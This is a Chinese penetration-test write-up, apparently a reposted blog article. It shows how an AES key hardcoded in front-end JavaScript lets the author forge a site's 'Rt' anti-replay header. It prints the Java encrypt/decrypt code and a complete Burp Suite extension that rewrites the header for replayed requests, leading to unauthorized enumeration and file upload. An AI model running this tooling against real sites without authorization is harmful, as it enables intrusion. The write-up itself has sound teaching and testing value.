有手就会?记一次绕过防重放的漏洞挖掘

2024-04-16 920 0

前言

随着当前攻防水平的不断提高,实战攻防过程中,经常能遇到前端的参数被各种各样的方式加密的情况。毫无疑问,这种方式能够防止很多脚本小子的脚步,但是很多网站就存在“金玉其外,败絮其内“的情况,将传递的参数加密了事,忽略很多系统本身存在的安全风险。本文以实战角度出发,介绍面对这种防重放的情况下的攻防技巧。

背景

某次渗透测试项目,笔者经过测试发现该网站部分关键数据包使用JS加密,并且请求包还添加相关参数用来防止重放数据包的情况,这种机制可以阻挡很多非必要的攻击。但是对渗透测试人员来说,这种技能也是应该具备的。

收集信息

拿到项目后,首先针对目标进行访问,如下图所示:随便拼接一下攻击姿势,发现存在某云WAF情况。一般遇到这种情况思路转变为,以逻辑漏洞为主,授权漏洞为辅,结合信息泄露等漏洞结束本次项目。接下来就要考虑如何信息收集,针对这种网站,单纯的目录扫描已经不适合,我的思路有两个,一个是通过前端JS进行收集,另外针对接口进行FUZZ。打开JS文件,一发入魂,上来就把所有接口给我了,这合理吗?这才是日常,挺合理的:
直接上工具,对JS文件进行一番搜索,考虑到WAF存在,笔者悄悄地进村,线程调到1,开始进攻!结果大概如下图所示:    
总结一下,笔者现在有了,所有功能的URL路径,所有的接口路径,加上笔者收集的JS信息,万事俱备!

绕过防重放字段

结合笔者已有的信息,接下来开始正式测试:首先尝试登录功能点测试:    
登录框测试的思路已经烂熟于心,看我手到擒来。利用BURP代理抓包,讲究一个稳准。再重放一下数据包,突然发现重放数据包会提示410,
笔者测试过程中还比较好奇,怎么会这么自信把所有URL明文在前端展示呢,这里还是有防护的:

POST /api/sms/sendsms HTTP/2Host: xxxContent-Length: 73Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Authorization: Bearer nullRt: /5asJSe+gKXuuIdOsOg6kw==Content-Type: application/jsonAccept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Api-Version: 1.0Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9{"phone":"1888888881","smsTypes":2,"uniqueId":"1684756825417","code":""}

通过对Header头进行分析,发现其中RT参数正是其中关键字段,主要用来防止数据包重放,现在就需要看看这个RT参数从何而来。经过对JS代码的分析,发现了如下代码:

var aeskey2 = '1122334455667788';xxxxxfunction encryptRt(data) {var key = CryptoJS.enc.Utf8.parse(aeskey2);// 加密var encryptedData = CryptoJS.AES.encrypt(data, key, {mode: CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});return encryptedData + '';}xxx

经过对该代码的分析,发现Rt参数正是通过aes方式进行加密,并且获得其中的key和加密逻辑。接下来各显神通,笔者使用java撸了一份解密代码:

import org.bouncycastle.jce.provider.BouncyCastleProvider;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.Security;import java.util.Base64;public class AESUtils {static {Security.addProvider(new BouncyCastleProvider());}public static String decryptData(String data, String key) throws Exception {byte[] keyBytes = key.getBytes("UTF-8");SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");cipher.init(Cipher.DECRYPT_MODE, keySpec);byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data));return new String(decrypted, "UTF-8");}public static void main(String[] args) throws Exception {String aesKey = "1122334455667788";String data = "/5asJSe+gKXuuIdOsOg6kw==";String decryptData = decryptData(data, aesKey);System.out.println(decryptData);  


通过对Rt头参数进行解密,发现其参数是时间戳,那么现在笔者就知道这套逻辑,通过Rt参数对当前数据包进行防重放校验,笔者完善一下完整加解密代码:

import org.bouncycastle.jce.provider.BouncyCastleProvider;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.Security;import java.util.Base64;public class AESUtils {static {Security.addProvider(new BouncyCastleProvider());}public static String encryptData(String data, String key) throws Exception {byte[] keyBytes = key.getBytes("UTF-8");SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");cipher.init(Cipher.ENCRYPT_MODE, keySpec);byte[] encrypted = cipher.doFinal(data.getBytes("UTF-8"));return Base64.getEncoder().encodeToString(encrypted);}public static String decryptData(String data, String key) throws Exception {byte[] keyBytes = key.getBytes("UTF-8");SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding");cipher.init(Cipher.DECRYPT_MODE, keySpec);byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(data));return new String(decrypted, "UTF-8");}

进行测试,效果符合预期。    
截止到目前笔者已经了解了Rt参数的前世今生,现在考虑如何更方便的开展笔者的渗透工作。

封装插件,开始渗透

已经知道RT参数的前世今生,现在封装Burp插件,绕过RT校验!关于如何写Burp插件参考文末文章,这里主要写两个地方:1,如何调用BURP接口,替换RT参数2,如何调用笔者的加密逻辑。在BURP插件的开发过程中,目录结构如下,笔者只需要添加一个加密逻辑的java文件,然后在BurpExtender中直接调用即可。    
将笔者的加密逻辑命名为ReplaceRT,接着写Burpextender即可。

package burp;import java.io.PrintWriter;import java.util.Arrays;import java.util.List;public class BurpExtender implements IBurpExtender, IHttpListener{private IBurpExtenderCallbacks callbacks;private IExtensionHelpers helpers;private PrintWriter stdout;private PrintWriter mStdOut;// implement IBurpExtender@Overridepublic void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks){stdout = new PrintWriter(callbacks.getStdout(), true);this.callbacks = callbacks;helpers = callbacks.getHelpers();callbacks.setExtensionName("Rt_replace_Demo");callbacks.registerHttpListener(this);//this.mStdOut.println("Author: fu11y");}@Overridepublic void processHttpMessage(int toolFlag,boolean messageIsRequest,IHttpRequestResponse messageInfo){try{if (toolFlag == 64 || toolFlag == 16 || toolFlag == 32 || toolFlag == 4){if (messageIsRequest){IRequestInfo analyzeRequest = helpers.analyzeRequest(messageInfo);String request = new String(messageInfo.getRequest());byte[] body = request.substring(analyzeRequest.getBodyOffset()).getBytes();List<String> headers = analyzeRequest.getHeaders();for(String header : headers){stdout.println("header"+header);if(header.startsWith("Rt")){headers.remove(header);break;}}long currentTimestampSeconds = System.currentTimeMillis();String aesKey = "1122334455667788";String data = String.valueOf(currentTimestampSeconds);String Rt = "Rt: "+ReplaceRt.encryptData(data,aesKey);// 替换header中的Rtheaders.add(Rt);stdout.println(Rt);byte[] new_Request = helpers.buildHttpMessage(headers,body);stdout.println(helpers.analyzeRequest(new_Request).getHeaders());messageInfo.setRequest(new_Request);}}}catch(Exception e){stdout.println(e);}}}

打jar包,导入到burp中一气呵成,闲庭信步,那么到现在,笔者就拥有了绕过防重放的burp插件包,效果如下:
已经是可以重放了,结合之前泄露的URL和接口信息,开测!还记得之前的思路吗?接下来针对之前搜集的JS资产开始一个一个测试:成果如下:未授权信息枚举,未授权文件上传;    

点到为止,本次收工。

总结

如今渗透测试过程中经常能遇到前端加密和防止重放的情况,针对这种,通过JS分析出加密方法,结合具体业务,一般都能拿到比较不错的收获。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论